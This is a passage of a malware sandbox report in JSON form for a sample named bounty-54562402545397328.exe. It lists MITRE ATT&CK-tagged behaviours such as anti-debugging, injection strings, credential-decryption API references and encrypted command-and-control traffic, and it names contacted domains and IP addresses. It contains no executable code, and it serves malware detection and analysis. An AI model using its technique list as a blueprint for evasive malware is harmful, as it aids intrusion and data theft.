7132]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Tries to detect debugger using ProcessDebugPort","description":"\"bounty-54562402545397328.exe queries ProcessDebugPort (UID: 7132)","origin":"API Call","mitre_attack_id":"T1622","relevance":5,"id":"api-238","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"section contains high entropy","description":"\"bounty-54562402545397328\" has section name .text with entropy \"6.44565973244\"\n \"bounty-54562402545397328\" has section name .rdata with entropy \"6.1649673379\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Found a string that may be used as part of an injection method","description":"\"Shell_TrayWnd\" (Taskbar window class may be used to inject into explorer with the SetWindowLong method) in Source: 00000000-00007132.00000000.163918.03060000.00000002.mdmp\n \"!Progman\" (Program manager) in Source: 00000000-00007132.00000000.163918.03060000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1055.011","relevance":4,"id":"string-4","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"Sleep\n GetFileSize\n GetModuleHandleA\n WriteFile\n GetCommandLineA\n CreateFileA\n GetModuleFileNameA\n LoadLibraryA","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"PE file contains unusual section name","description":"\"bounty-54562402545397328\" has a section named \".code\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-60","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (D)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00001064.00000000.122405.006E0000.00000004.mdmp\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"00000000-00001064.00000000.122405.006E0000.00000004.mdmp\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"CryptCNGInitHMAC\" (Indicator: \"HMAC\"; Source: \"00000000-00002904.00000000.122470.006D0000.00000004.mdmp, 00000000-00002904.00000001.124395.006D0000.00000004.mdmp, 00000000-00002904.00000002.126319.006D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00001064.00000000.122405.006E0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Loads the debugger/analysis tool module","description":"\"bounty-54562402545397328.exe\" loaded module \"%WINDIR%\\SysWOW64\\pstorec.dll\" at 73D10000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002904-10198-6-0040FEA3","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API GetNativeSystemInfo@KERNEL32.DLL at 00000000-00002904-10198-196-00404070\n Found reference to API GetNativeSystemInfo@KERNEL32.DLL at 00000000-00002904-10198-199-00404203","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"Assembly shows XOR instruction xor eax\n FFFFFFFFh in Stream UID: 00000000-00002904-10198-1-0041A070\n Assembly shows XOR instruction xor al\n 2Bh in Stream UID: 00000000-00002904-10198-566-0040FF7A\n Assembly shows XOR instruction pxor mm5\n qword ptr [ebp+00000075h] in Stream UID: 00000000-00002904-10198-566-0040FF7A\n Assembly shows XOR instruction xor dword ptr [ecx+75h]\n esp in Stream UID: 00000000-00002904-10198-566-0040FF7A\n Assembly shows XOR instruction xor al\n 75h in Stream UID: 00000000-00002904-10198-566-0040FF7A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2e","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP request contains Base64 encoded artifacts\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Contacts server\n Matched sigs: Contacts domains\n Matched sigs: Spawned process connects to a network","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"bounty-54562402545397328.exe\" called \"IsWow64Process\" with parameter \"1064\" - (UID: 00000000-00001064)\n \"bounty-54562402545397328.exe\" called \"IsWow64Process\" with parameter \"2904\" - (UID: 00000000-00002904)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2f","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"bounty-54562402545397328.exe\" called \"GetLocaleInfoA\" with parameter \"1024\" - (UID: 00000000-00002904)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00002904-10198-1-0041A070\n GetTickCount@KERNEL32.DLL at 00000000-00002904-10198-85-0040F600","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileA@KERNEL32.DLL at 00000000-00002904-10198-289-004086E4\n FindFirstFileA@KERNEL32.DLL at 00000000-00002904-10198-288-00408560\n FindFirstFileA@KERNEL32.DLL at 00000000-00002904-10198-304-00409431\n FindFirstFileA@KERNEL32.DLL at 00000000-00002904-10198-207-00404A79\n FindFirstFileA@KERNEL32.DLL at 00000000-00002904-10198-212-00404DE9\n FindFirstFileA@KERNEL32.DLL at 00000000-00002904-10198-191-00403DAC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"2976,2524,3149,,GetLocaleInfoA,kernel32.dll,\"252:18:47.078\",RX=0,PX=0\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00002904.00000001.124395.006D0000.00000004.mdmp, 00000000-00002904.00000002.126319.006D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@KERNEL32.DLL at 00000000-00002904-10198-199-00404203","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoA@KERNEL32.DLL at 00000000-00002904-10198-199-00404203","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"OpenProcess@KERNEL32.DLL at 00000000-00002904-10198-90-00402AA7\n OpenProcessToken@ADVAPI32.DLL at 00000000-00002904-10198-91-004029C3\n OpenProcessToken@ADVAPI32.DLL at 00000000-00002904-10198-81-0040272C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volatile registry keys","description":"\"bounty-54562402545397328.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\VOLATILE ENVIRONMENT\"; Key: \"\"; Value: \"\")\n \"bounty-54562402545397328.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\VOLATILE ENVIRONMENT\\1\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-139","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"bounty-54562402545397328.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$31","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"\"bounty-54562402545397328.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\MY\"; Key: \"\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"bounty-54562402545397328.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00002904)\n \"bounty-54562402545397328.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00002904)\n \"bounty-54562402545397328.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files (UID: 00000000-00002904)\n \"bounty-54562402545397328.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Roaming (UID: 00000000-00002904)\n \"bounty-54562402545397328.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Windows\\Cookies (UID: 00000000-00002904)\n \"bounty-54562402545397328.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\History (UID: 00000000-00002904)\n \"bounty-54562402545397328.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Caches (UID: 00000000-00002904)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"bounty-54562402545397328.exe\" called \"CreateProcessA\" with parameter \"c:\\bounty-54562402545397328.exe\" - (UID: 00000000-00001064)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"criminallawdc.com\"\n \"choiceonesupport.org\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"141.193.213.11:80\"\n \"185.230.63.186:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$32","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyA\" (Indicator: \"RegCreateKey\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"RegCreateKeyA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.DLL at 00000000-00002904-10198-9-0040F8AB","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"00000000-00002904.00000002.126319.00400000.00000040.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001064.00000000.122405.006E0000.00000004.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load 